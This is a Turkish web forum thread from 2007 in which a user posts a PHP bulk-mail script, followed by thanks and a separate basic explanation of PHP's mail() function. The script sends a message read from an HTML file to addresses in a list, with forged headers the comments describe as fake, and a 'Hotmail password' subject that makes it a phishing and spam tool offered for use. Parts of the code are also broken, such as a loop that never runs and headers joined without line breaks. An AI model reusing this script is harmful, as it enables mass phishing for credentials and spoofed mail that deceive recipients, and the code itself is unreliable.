Van.GEN.TR Forum | Yerel Van Forumu

Van.GEN.TR Forum | Yerel Van Forumu (http://forum.van.gen.tr/index.php)
-   PHP (http://forum.van.gen.tr/forumdisplay.php?f=75)
-   -   Toplu mail Yollama (http://forum.van.gen.tr/showthread.php?t=6554)

LastDesiqner 25/06/07 16:30

Toplu mail Yollama
 
Toplu mail Yollama

Alıntı:

<?
/* Coded By Hackerdragons
* Coderturk.com
* Version : 2.0
* God Bless Open Source: Released in Terms of GNU/GPL
*/
/*Time Limit Fiyuuuuu*/
set_time_limit(0);
/*Time Limit Fiyuuuuu Over*/

/*Hata Gösterme. Ben Gösteririm Sana Kalmadik.*/
error_reporting(0);
/*Hata Gösterme. Ben Gösteririm Sana Kalmadik Over.*/


/*Function Start*/
function getmail($filename,$row) {
$input = file($filename,"r");
return $input[$row];
}
/*Function End*/

/*SPOOF : Bu Alandaki Hersey Dolu Olmalidir, Fakat Verdiginiz Bilgiler Gerçek Olmayabilir */
$mailer = ""; /*Mailer:Hangi Mail Programi Ile Gitmis Gibi Gözüksün?*/
$froms = ""; /*Mail Hangi Mailden Gitsin*/
$content = ""; /*Mesaj Türü*/
$priority = ""; /*Önemlilik Derecesi, Önemli:1 Önemsiz:0*/
$mimeversion = ""; /*Kullandiginiz MIME Versiyonu*/
$return = ""; /*Hangi Maile Cevap Dönsün*/
$oat = ""; /*Orjinal Yollanis Zamani:30 Yil Önce Yollanmis Gibi Gösterebilirsiniz... */
$received = ""; /*Hangi SMTP Alsin Gibi Gözüksin*/
$messageinfo = ""; /*Mesaj Bilgileri*/
$errorto = ""; /*Hatalarin Bildirilecegi Adres*/
/*SPOOF Over*/
/*Data*/
$source="./source.txt"; #Maillistin Bulundugu Dosya
$filex = "fakem.html"; #HTML yada TXT mesajin bulundugu yer.
/*DataOver*/

/*Data1*/
$fakem = file($filex); /*Mesaj*/
$c = count($fakem);
for($i=0; $i>=$c; ++$i){
$fake = $fake.$fakem[$i];
}
$subject ="About Your Hotmail Password"; /*Konu*/
$mailno = count($fakem); /*Maillistteki Mail Sayisi(Her Satira 1 Tane)*/
/*Data1 Over*/
/*Spoof Define*/
$ek ="From:" . $froms;
$ek .="X-Priority:" . $priority ."\n";
$ek .="X-Mailer:" . $mailer;
$ek .="Content-type:" . $content;
$ek .="MIME-Version:" . $mimeversion;
$ek .="Return-Path:" . $return;
$ek .="X-OriginalArrivalTime:" . $oat;
$ek .="Received:" . $received;
$ek .="X-Message-Info:" . $messageinfo;
$ek .="Errors-To:" . $errorto;
/*Spoof Define Over*/
/*Application Starts*/
for ( $i=1; $i<=$mailno; $i++ ) {
$to = getmail($source,$i);
$go = @mail($to, $subject, $fake, $ek);
if (!$go) {
echo"<tr><td><font size=2pt color='red'><b>Mail <font color=brown>$to</font> - Mail Sirasi <font color='#c70007'>$i</font> Yollanamadi...</b></font><br></td></tr>";
} else {
echo"<tr><td><font size=2pt color='green'><b>Mail <font color=brown>$to</font> - Mail Sirasi <font color='#c70007'>$i</font> 'ye mesaj Yollandi</b></font><br></td></tr>";
}
}
/*Application Over*/
?>
Alıntıdır

Satan22 25/06/07 16:48

eyvallah kardeş sağol...

gokhanaygun 29/10/07 12:48

mail() işlevi
Adından da anlayacağınız üzere PHP’de e-posta göndermek için kullanılan işlevdir. Kullanımı çok basit ve zahmetsiz olmasına karşın eğer denemelerinizi evde bir Windows sistemi üzerinde gerçekleştiriyorsanız bu işlevi kullanmak için bilgisayarınıza bir de eposta sunucusu kurmanız gerekli (ne yazık ki PHP ile kullanılan birçok işlev Windows altında sorun çıkarıyor). Kurulu bir Linux sistemde böyle bir sorununuz yok, çünkü Linux ile birlikte kurulan sendmail programı e-posta gönderme işinizi hallediyor.
<?
######################
# mail_gonder.php #
######################

mail ($kime, $konu, $mesaj, ”From: $kimden\n”);

?>

Yukarıdaki tek satır $kimden değişkeni ile gelen kişinin adresi ile $kime adlı adrese $konu adlı ve içeriği $mesaj olan e-postayı gönderir. “From:” bölümü e-postanın kimden geldiğini belirtir. Tabi yukarıdaki PHP dosyasının çalışabilmesi için bu dosyaya gerekli bilgileri yollayacak HTML dosyasının da yazılması gerekli.

Neutralizer 01/08/08 10:22

emeğe sağlık


Bütün Zaman Ayarları WEZ +3 olarak düzenlenmiştir. Şu Anki Saat: 00:35 .

Powered by vBulletin® Version 3.7.0
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.